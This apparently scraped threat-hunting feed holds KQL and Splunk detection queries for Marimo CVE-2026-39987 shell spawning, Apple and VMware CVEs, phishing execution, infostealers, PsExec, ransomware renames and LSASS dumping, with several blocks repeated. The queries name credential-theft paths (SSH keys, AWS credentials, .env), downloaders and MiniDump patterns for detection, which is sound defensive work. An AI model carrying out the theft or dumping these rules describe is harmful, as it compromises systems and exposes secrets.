| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-054 use cases0 techniques3 kill-chain phases detected
Apple tvOS, macOS, Safari, iPadOS and watchOS contain an integer overflow or wraparound vulnerability due to the processing of maliciously crafted web content that may lead to arbitrary code execution. Vendor: Apple, Product: Multiple Products. Federal patch due: 2026-03-26.
CVEsCVE-2021-30952
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-30952")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-30952")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-048 use cases4 techniques5 kill-chain phases detected
The education sector is notoriously short on cash, but rich in assets for threat actors to target. How can managed detection and response (MDR) help learning institutions regain the initiative?
ATT&CKT1190T1486T1555.003T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-03-034 use cases1 technique3 kill-chain phases detected
Broadcom VMware Aria Operations formerly known as vRealize Operations (vROps) contains a command injection vulnerability that allows an unauthenticated attacker to execute arbitrary commands, potentially leading to remote code execution during support‑assisted product migration. Vendor: Broadcom, Product: VMware Aria Operations. Federal patch due: 2026-03-24.
CVEsCVE-2026-22719
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-22719")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-22719")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
